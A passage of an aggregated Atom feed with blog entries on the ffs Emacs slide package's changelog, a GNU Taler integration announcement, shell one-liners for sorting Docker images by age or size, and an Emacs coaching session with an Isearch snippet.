This is not an important user-facing setting, so to help avoid
overwhelming users with many options, this has been demoted from a
user option to a variable.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;outline-3&quot; id=&quot;outline-container-ffs-0.2.0-new-user-options&quot;&gt;
&lt;h3 id=&quot;ffs-0.2.0-new-user-options&quot;&gt;Several new user options for customizing &lt;code&gt;ffs&lt;/code&gt;&#39;s behaviour&lt;/h3&gt;
&lt;div class=&quot;outline-text-3&quot; id=&quot;text-ffs-0.2.0-new-user-options&quot;&gt;
&lt;p&gt;
As part of the effort to bring &lt;code&gt;ffs&lt;/code&gt; more in line with the conventions
of other existing Emacs packages, the mechanisms for toggling various
parts of Emacs&#39;s interface to minimize visual clutter were changed
from being minor modes to being customizable user options.  These are
the replacement new user options, with a default value of nil:
&lt;/p&gt;

&lt;ul class=&quot;org-ul&quot;&gt;
&lt;li&gt;&lt;code&gt;ffs-hide-cursor&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ffs-hide-mode-line&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ffs-hide-header-line&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Their value is buffer-local, and may be set globally using
&lt;code&gt;setq-default&lt;/code&gt;.  See the &lt;a href=&quot;https://kelar.org/~bandali/gnu/emacs/ffs.html#Sample-configuration&quot;&gt;sample configuration&lt;/a&gt; in the manual for an
example of how to customize them.
&lt;/p&gt;

&lt;p&gt;
The new &lt;code&gt;ffs-page-delimiter&lt;/code&gt; user option defines the page delimiter
inserted by &lt;code&gt;ffs-edit-done&lt;/code&gt; when inserting a new slide.  Emacs&#39;s
&lt;code&gt;page-delimiter&lt;/code&gt; regexp should be able to match &lt;code&gt;ffs-page-delimiter&lt;/code&gt;&#39;s
value, so if you use a custom &lt;code&gt;page-delimiter&lt;/code&gt; be sure to customize
&lt;code&gt;ffs-page-delimiter&lt;/code&gt; accordingly.
&lt;/p&gt;

&lt;p&gt;
The new &lt;code&gt;ffs-echo-progress&lt;/code&gt; user option controls whether to display in
echo area the progress through the slides.  When non-nil, changing
slides will also display the progress through the slides in the echo
area.  The format of the displayed progress can be customized using
the new &lt;code&gt;ffs-echo-progress-format&lt;/code&gt; user option.
&lt;/p&gt;

&lt;p&gt;
The new &lt;code&gt;ffs-edit-display-buffer-alist&lt;/code&gt; user option may be used to
control the Window configuration for the &lt;code&gt;ffs-edit&lt;/code&gt; buffer.  By
default, it will display the &lt;code&gt;ffs-edit&lt;/code&gt; buffer in the same window.
&lt;/p&gt;

&lt;p&gt;
The new &lt;code&gt;ffs-edit-done-hook&lt;/code&gt; user option may be used to define hooks
to be run at the end of &lt;code&gt;ffs-edit-done&lt;/code&gt; after returning to the main
&lt;code&gt;ffs&lt;/code&gt; presentation buffer.
&lt;/p&gt;

&lt;p&gt;
Lastly, a new &lt;code&gt;ffs-find-speaker-notes-function&lt;/code&gt; variable was added to
allow customizing the find function used for opening the speaker&#39;s
notes file, defaulting to &lt;code&gt;find-file-other-frame&lt;/code&gt;.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section class=&quot;outline-2&quot; id=&quot;outline-container-ffs-0.1.0&quot;&gt;
&lt;h2 id=&quot;ffs-0.1.0&quot;&gt;Version 0.1.0 on 2022-05-19&lt;/h2&gt;
&lt;div class=&quot;outline-text-2&quot; id=&quot;text-ffs-0.1.0&quot;&gt;
&lt;p&gt;
Initial publication of &lt;code&gt;ffs.el&lt;/code&gt; as part of my personal configurations
for GNU Emacs.
&lt;/p&gt;

&lt;p&gt;
My first attempt at this concept was a now-archived &lt;a href=&quot;https://git.kelar.org/~bandali/ffs/tree/ffsanim.el?id=aed420fca1af108e023eabf2b527850b559cd24c&quot;&gt;&lt;code&gt;ffsanim.el&lt;/code&gt;&lt;/a&gt;,
a major mode implementation that used Emacs&#39;s &lt;code&gt;animate&lt;/code&gt; library to
animate slide texts onto the screen.  Shortly after realizing the
shortcomings of that approach, I abandoned it in favour a minor mode
implementation and published version &lt;code&gt;0.1.0&lt;/code&gt; of what is now &lt;code&gt;ffs&lt;/code&gt; in
my &lt;a href=&quot;https://git.kelar.org/~bandali/configs&quot;&gt;personal configs repository&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
I used this implementation for presenting my LibrePlanet 2022 talk,
&lt;a href=&quot;https://kelar.org/~bandali/essays/net-beyond-web.html&quot;&gt;The Net beyond the Web&lt;/a&gt;.
&lt;/p&gt;

&lt;p&gt;
I picked &quot;ffs&quot; as the package name, the acronym for form feed slides.
&lt;/p&gt;&lt;/div&gt;&lt;/section&gt;</content>
	<author>
	  <name>Amin Bandali</name>
	   <uri>https://kelar.org/~bandali/</uri> 
	</author>
	<source>
	  <title type="html">Amin Bandali</title>
	  <subtitle type="html">publications by bandali</subtitle>
	  <link rel="self" href="https://kelar.org/~bandali/rss20.xml"/>
	  <id>https://kelar.org/~bandali/</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">New GNU Taler integration in be-BOP</title>
	<link href="https://taler.net/en/news/2026-07.html"/>
	<id>https://taler.net/en/news/2026-07.html</id>
	<updated>2026-05-20T22:00:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;article&gt;
             A new GNU Taler integration is now officially available: be-BOP.
           &lt;/article&gt;</content>
	<author>
	  <name>GNU Taler news</name>
	   <uri>https://taler.net//</uri> 
	</author>
	<source>
	  <title type="html">Taler.net</title>
	  <subtitle type="html">News posts published by Taler about changes related to Taler, releases and events</subtitle>
	  <link rel="self" href="https://taler.net/en/rss.xml"/>
	  <id>https://taler.net//</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en-US">Docker images by age or size</title>
	<link href="https://gbenson.net/docker-images-by-size-age/"/>
	<id>https://gbenson.net/?p=1051</id>
	<updated>2026-05-19T10:58:35+00:00</updated>
	<summary type="html" xml:lang="en-US"></summary>
	<content type="html" xml:lang="en-US">&lt;p&gt;Files by age, newest first:&lt;/p&gt;
&lt;pre&gt;ls -lt&lt;/pre&gt;
&lt;p&gt;Docker images by age, newest first:&lt;/p&gt;
&lt;pre style=&quot;font-size: 80%;&quot;&gt;docker images --format &quot;{{.CreatedAt}}\t{{.Repository}}:{{.Tag}}&quot; | sort -r&lt;/pre&gt;
&lt;p&gt;Files by size, largest first:&lt;/p&gt;
&lt;pre&gt;ls -lS&lt;/pre&gt;
&lt;p&gt;Docker images by size, largest first:&lt;/p&gt;
&lt;pre style=&quot;font-size: 80%;&quot;&gt;docker images --format &quot;{{.Size}}\t{{.Repository}}:{{.Tag}}&quot; | sort -rh&lt;/pre&gt;
&lt;p&gt;Why why why??!&lt;/p&gt;</content>
	<author>
	  <name>gbenson</name>
	   <uri>https://gbenson.net</uri> 
	</author>
	<source>
	  <title type="html">gbenson.net</title>
	  
	  <link rel="self" href="https://gbenson.net/feed/"/>
	  <id>https://gbenson.net</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">FFS code review and Emacs extensibility with Protesilaos</title>
	<link href="https://kelar.org/~bandali/gnu/emacs/ffs-emacs-ext-prot.html"/>
	<id>tag:kelar.org,2026:~bandali/rss20.xml:gnu/emacs/ffs-emacs-ext-prot</id>
	<updated>2026-05-15T12:50:10+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;
In the recent weeks I&#39;ve been engaging &lt;a href=&quot;https://protesilaos.com/coach/&quot;&gt;Prot as an Emacs coach&lt;/a&gt; to help
with doing review passes over my upcoming &lt;a href=&quot;https://git.kelar.org/~bandali/ffs&quot;&gt;&lt;code&gt;ffs&lt;/code&gt;&lt;/a&gt; package as I work on
polishing and documenting it in preparation for offering it for
inclusion in GNU ELPA.
&lt;/p&gt;

&lt;p&gt;
&lt;b&gt;UPDATE 2026-05-15 08:50:10 -0400:&lt;/b&gt; Prot also published an article
about our session on his website:
&lt;a href=&quot;https://protesilaos.com/codelog/2026-05-15-emacs-amin-bandali-ffs-display-buffer-org-capture/&quot;&gt;https://protesilaos.com/codelog/2026-05-15-emacs-amin-bandali-ffs-display-buffer-org-capture/&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Today we had our third session where we started by reviewing and
talking about my recent changes to &lt;code&gt;ffs&lt;/code&gt;, then ventured to other
Emacs-related topics with the overarching theme of the flexibility
and extensibility of GNU Emacs, including &lt;code&gt;display-buffer-alist&lt;/code&gt;,
keyboard macros, defining a custom &lt;a href=&quot;https://kelar.org/~bandali/gnu/emacs/dotemacs.html#lisp-bandali-oxen&quot;&gt;&lt;code&gt;ox-bhtml&lt;/code&gt;&lt;/a&gt; Org export backend
derived from Org&#39;s &lt;code&gt;ox-html&lt;/code&gt; for ultimate flexibility when exporting
my site&#39;s pages from Org to HTML, Org capture, plain text files and
Emacs&#39;s &lt;code&gt;diary&lt;/code&gt; and how it compares to &lt;code&gt;org-agenda&lt;/code&gt;, and keeping a
journal with the help of Emacs.
&lt;/p&gt;

&lt;p&gt;
Here is the video recording of our session, which I share with Prot&#39;s
permission:
&lt;/p&gt;

&lt;video controls=&quot;&quot; id=&quot;org9614584&quot; poster=&quot;https://kelar.org/~bandali/gnu/emacs/ffs-emacs-ext-prot-poster.jpg&quot; preload=&quot;metadata&quot; src=&quot;https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4&quot; width=&quot;720&quot;&gt;
&lt;source src=&quot;https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4&quot; type=&quot;video/mp4&quot; /&gt;
&lt;p&gt;
Sorry, this embedded video will not work,
because your web browser does not support HTML5 video.&lt;br /&gt;
&lt;a href=&quot;https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4&quot;&gt;[ please watch the video in your favourite streaming media player ]â€‹&lt;/a&gt;
&lt;/p&gt;
&lt;/video&gt;

&lt;p&gt;
You can &lt;a href=&quot;https://archive.org/details/ffs-emacs-ext-prot-20260514&quot;&gt;view&lt;/a&gt; or &lt;a href=&quot;https://archive.org/download/ffs-emacs-ext-prot-20260514/ffs-emacs-ext-prot-20260514.mp4&quot;&gt;download the full-resolution video&lt;/a&gt; from the Internet
Archive.
&lt;/p&gt;

&lt;p&gt;
Lastly, here is the snippet Prot shared for having Isearch treat space
as a wildcard, helpful for more easily matching multiple parts of a
line:
&lt;/p&gt;

&lt;div class=&quot;org-src-container&quot;&gt;
&lt;pre class=&quot;src src-elisp&quot;&gt;&lt;code&gt;(setq search-whitespace-regexp &quot;.*?&quot;)
(setq isearch-lax-whitespace t)
(setq isearch-regexp-lax-whitespace nil)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Take care, and so long for now.
&lt;/p&gt;</content>
	<author>
	  <name>Amin Bandali</name>
	   <uri>https://kelar.org/~bandali/</uri> 
	</author>
	<source>
	  <title type="html">Amin Bandali</title>
	  <subtitle type="html">publications by bandali</subtitle>
	  <link rel="self" href="https://kelar.org/~bandali/rss20.xml"/>
	  <id>https://kelar.org/~bandali/</id>  
	</source>
  </entry>
  
</feed>
